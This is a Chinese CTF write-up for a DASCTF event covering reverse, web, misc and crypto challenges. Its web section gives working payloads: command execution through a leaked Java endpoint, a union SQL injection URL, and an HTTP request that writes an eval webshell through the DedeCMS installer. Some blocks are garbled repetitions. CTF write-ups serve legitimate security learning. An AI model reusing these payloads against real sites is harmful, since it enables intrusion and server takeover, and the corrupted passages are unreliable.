Re

用jad进行反编译后,关键代码如下:

\$ a= echo -n afwwn2u2y111|md5sum|awk '{print \$1}';echo -n \${a:0:8}|md5sum 9a91774f5aedf27c00b05d5cc7931438 -

flag为 9a91774f5aedf27c00b05d5cc7931438

Web

粗心的开发人员

存在/info, 提示发现目录下存在R.class文件, 可能导致源代码泄露, 请及时处理!

将R.class下载下来拿IDEA打开审计:

```
//
// Source code recreated from a .class file by Intellij IDEA
// (powered by FernFlower decompiler)
//

package com.example.demo2;

import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import org.apache.logging.log4j.util.Strings;
import org.springframework.util.DigestUtils;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
```

```
@RestController
@RequestMapping({"/r"})
public class R {
   public R() {
    private boolean waf1(String data) {
        String[] blacks = new String[]{"cat", "more", "tail", "f", "l", "a",
"g", "?", "*", "[", "]", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", ">",
";", "/"};
       if (Strings.isEmpty(data)) {
            System.out.println("1111");
            return true;
        } else {
            String[] var3 = blacks;
            int var4 = blacks.length;
            for(int var5 = 0; var5 < var4; ++var5) {
                String black = var3[var5];
                if (data.toLowerCase().contains(black)) {
                    return false;
                }
            }
            return true;
       }
   }
   @PostMapping({"/e"})
    public String CE(String x, String c, String cmd) {
        if (!this.waf1(cmd)) {
            return "hacker!! Go away!1111";
        } else if
(!DigestUtils.md5DigestAsHex(x.getBytes()).startsWith("5ebe2294")) {
            return DigestUtils.md5DigestAsHex(x.getBytes()).substring(0, 8);
            Runtime run = Runtime.getRuntime();
            StringBuilder sb = new StringBuilder();
            try {
                Process p = run.exec(c);
                BufferedInputStream in = new
BufferedInputStream(p.getInputStream());
                BufferedReader inBr = new BufferedReader(new
InputStreamReader(in));
                String tmpStr;
                while((tmpStr = inBr.readLine()) != null) {
                    sb.append(tmpStr);
                }
                if (p.waitFor() != 0 \&\& p.exitValue() == 1) {
                    return "failed!!";
                } else {
                    inBr.close();
                    in.close();
                    return sb.toString();
                }
```

```
} catch (Exception var10) {
    return String.valueOf(var10);
}
}
}
```

简单的审计一下,路由是/r/e,传入的cmd进行waf,但是cmd后续没用。传入的x经过md5的结果是以5ebe2294开头,把这串东西放到谷歌上搜一下就会出现下面这串:



查一下就知道这是secret的md5结果,所以x传secret,然后后面是一个命令执行,拿参数c 进行rce即可:

```
http://6c643ff4-67a2-4a2c-ace8-e14a55d40fd2.jkg.dasctf.com/r/e
x=secret&c=cat /flag.txt
```

love sql

一血。根据提示存在备份文件,扫一下发现了www.zip,里面有网站的源码。

发现在content.php里面存在SQL注入,但是ban了一些东西,但是基本算没有waf。考虑到可以联合注入,再加上题目告诉了我们flag在flag表里,这样就知道了表名,直接进行无列名注入。但是对内容进行了一次waf:

```
if(!stristr($row['content'],'DASCTF') && !stristr($row['time'],'DASCTF')){
   echo $row['content']."<br/>";
   echo $row['time'];
}
```

进行一次编码就可以了,base64或者hex都行,直接打:

```
/content.php?id=-1%20union%20select%201,2, (select%20hex(hex(group_concat(`2`)))%20from%20(select%201,2%20union%20select%20*%20from%20flag)feng)
```

再把得到的内容进行2次hex解密即可得到flag。

EZDEDE

一血。安装getshell,网上有一个,是这里的:

```
else if($step==11)
{
    require_once('.../data/admin/config_update.php');
    $rmurl = UPDATEHOST."dedecms/demodata.{$s_lang}.txt";
    $sql_content = file_get_contents($rmurl);
    $fp = fopen(INSTALL_DEMO_NAME,'w');
    if(fwrite($fp,$sql_content))
        echo '  <font color="green">[\footnotemathslashed{sql_content});
    else
        echo '&nbsp; <font color="red">[\footnotemathslashed{sql_content});
    ifclose($fp);
    exit();
}
```

但是不知道为什么打不通,利用安装的step4中的:

```
$conn = mysql_connect($dbhost,$dbuser,$dbpwd) or die("<script>alert('数据库服务器或登录密码无效,\\n\\n无法连接数据库,请重新设定!');history.go(-1);</script>");
```

构造mysql恶意服务端进行读取文件,读一下install/index.php,发现出题人把step11这里给删了,其他都没动,所以得再挖一下。

最终定位到了这里:

```
if(!isset($modules) || !is_array($modules))
{
    //锁定安装程序
    $fp = fopen($insLockfile,'w');
    fwrite($fp,'ok');
    fclose($fp);
    include('./templates/step-5.html');
    exit();
}
else
{
    $module = join(',',$modules);
    $fp = fopen($moduleCacheFile, 'w');
    var_dump($moduleCacheFile);
    fwrite($fp,'<'.'?php'."\r\n");</pre>
    fwrite($fp,'$selModule = "'.$module.'"; '."\r\n");
    fwrite($fp,'?'.'>');
```

讲入else就可以写入文件,这里的变量都可以进行覆盖:

```
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
   foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}
```

唯一的问题就是,\$module 是被双引号包裹的,想要逃出来的话还得加双引号,但是在上面的RunMagicQuotes 存在转义的处理,没法逃出双引号,那就不逃了:

```
${eval($_POST[0])}
```

正常安装的时候抓个包改一下数据即可:

```
POST /install/index.php HTTP/1.1
Host: 06b29b43-e931-40cc-b464-1252310adc97.jkg.dasctf.com
Content-Length: 418
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
origin: http://06b29b43-e931-40cc-b464-1252310adc97.jkg.dasctf.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag
e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://06b29b43-e931-40cc-b464-
1252310adc97.jkg.dasctf.com/install/index.php?step=3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
step=4&dbtype=mysq1&dbhost=localhost&dbuser=root&dbpwd=root&dbprefix=dede_&dbnam
e=dedecmsv57utf8sp2&dblang=utf8&adminuser=admin&adminpwd=admin&cookieencode=3WGG
bidsww5FshrPdHHxwDbfgyW6oAVv&webname=%E6%88%91%E7%9A%84%E7%BD%91%E7%AB%99&adminm
ail=admin%40dedecms.com&baseurl=http%3A%2F%2F06b29b43-e931-40cc-b464-
1252310adc97.jkg.dasctf.com\&cmspath=\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eval(\$_POST[0])\}\&installdemo=0\&modules[]=\$\{eva
moduleCacheFile=../data/1.php
```

即可写入 /data/1.php , 再去读flag即可。

Misc

Misc₁

编码1: 。。。

flag{bb16bf6a

编码2: 泡泡牙牙学语

xetof-momok-fisyk-ditof-lamef-cosif-hyvax

编码3:]]

```
$={_:++$,$$$$:(![]+"")[$],$:++$,$$:(![]+"")[$],$:++$,$$$:({}+"")[$],$$:($[$]+"")[$],$$:++$,$$$:(!""+"")
[$],$:++$,$_$:({}+"")[$],$$:++$,$$$:({}+"")[$],$$:($[$]+"")[$],$$:($[$]+"")[$],$$:($[$]+"")[$],$$:($[$]+"")[$],$$:($[$]+"")[$],$$:($[$]+"")[$],$$:($[$]+"")[$],$$:($[$]+"")[$],$$:($[$]+"")[$],$$:($[$]+"")[$],$$:($[$]+"")[$],$$:($[$]+"")[$],$$:($[$]+"")[$],$$:($[$]+"")[$],$$:($[$]+"")[$],$$:($[$]+"")[$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[$]+$],$$:($[]+"")[$],$$:($[$]+$],$$:($[]+"")[$],$$:($[$]+$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$$:($[]+"")[$],$*:($[]+"")[$,$],$*:($
```

第一个Html编码,第二个Bubble编码,第三个li编码

解出来flag{bb16bf6a

78ac2b67a1359

57232c9ef9c}

组合起来就是bb16bf6a78ac2b67a135957232c9ef9c

Crypto

Crypto1

共模攻击加小指数开根,直接sagemath交互

```
True
sage: d0=(pow(c1,u,n)*pow(c2,v,n))
sage: from gmpy2 import iroot
sage: iroot(d0,3)
\-----
TypeError
             Traceback (most recent call last)
<ipython-input-12-4b1685eb3648> in <module>
---> 1 iroot(d0,Integer(3))
TypeError: iroot() requires 'int','int' arguments
sage: iroot(int(d0),3)
(mpz(130400044828251568603951576248190408510502618668809241884579255564211114153
69843947863093885),
True)
sage: m0=iroot(int(d0),3)
sage: int(m0[0])
13040004482825156860395157624819040851050261866880924188457925556421111415369843
947863093885
sage: m=int(m0[0])
sage: from Crypto.Util.number import getPrime, inverse, bytes_to_long, long_to_b
....: ytes
sage: long_to_bytes(m)
b'flag{a701117077ee72efa48262264e829612}'
sage:
```

flag{a701117077ee72efa48262264e829612}

```
....: dp=73360412924315743410612858109886169233122608813546859531995431159702281
....: 18011658096223529760502432612071659075706970781437180634376695689440810601
\dots : \ 90581843542795685257689091908433895349081637309727652214037974287355911469
....: 43727032277163147380538250142612444372315262195455266292156566943804557623
....: 319253942627829
....: dq=40011003982913118920477233564329052389422276107266243287367766124357736
\dots : \ 73902778189985042209721850635011925701546029115348333948572798451295977180
....: 56456408995250808505252733049881455095069627556642084074888078736720409704
\dots : \ 16096459662677968243781070751482234692575943914243633982505045357475070019
....: 527351586080273
....: dr=21504040939112983125383942214187695383459556831904800061168077060846983
\dots : \ 94497891420498177035434584982441866999848584019037292363624396596005618959
....: 678965552672673
....: c=220428832901130282093087304800127910055992783874826238869471313726515822
....: 19674690877702614788731501980054669534609937672774259723151240464851432991
....: 10880489023893212306405656831455657014980956600196044192133108664682769432
....: 41155853029934366950674139215056682438149221374543291202295130547776549069
\dots : \ 33389812327044898638002593709319549653953219358397903025474658998555699604
....: 02245724812006674982539005636639505313456017639493377872688846889824697443
....: 80006435119997310653
. . . . :
sage: from Crypto.Util.number import getPrime, inverse, bytes_to_long, long_to_b
....: ytes
```

```
sage: n=p*q*r
sage: phi=(p-1)*(q-1)*(r-1)
sage: crt([dp,dq,dr],[phi//(p-1),phi//(q-1),phi//(r-1)])
84049969372649108406838394922185774060847321610355948536166356827421163862856856
14450931033973858666956799894677000293641816748133955996766539487948804565611537
26171002209917989555223476720702573986411409529942471770938971120369196295887004
80270419335299792543470646039575756295973682131778188986740749346765651630917124
67379167824560246364784943493509690650643108047919019285042353
sage: d=crt([dp,dq,dr],[phi//(p-1),phi//(q-1),phi//(r-1)])
sage: d>n
False
sage: pow(c,d,n)
37974387167032830952720721992328972673066375997551389693947507068128470730660528
56830908921531009969541924764999283373562541601627589245015848062163235475643720
77175597195793925787150042944218770495236037246210435722181077782533816268121453
74398259979694987126495404951304586110855360943939535210988679729577920637428126
04684134734897184
sage: long_to_bytes(pow(c,d,n))
b'DASCTF{8ec820e5251db6e7a1758543a1123824}
sage:
```

DASCTF{8ec820e5251db6e7a1758543a1123824}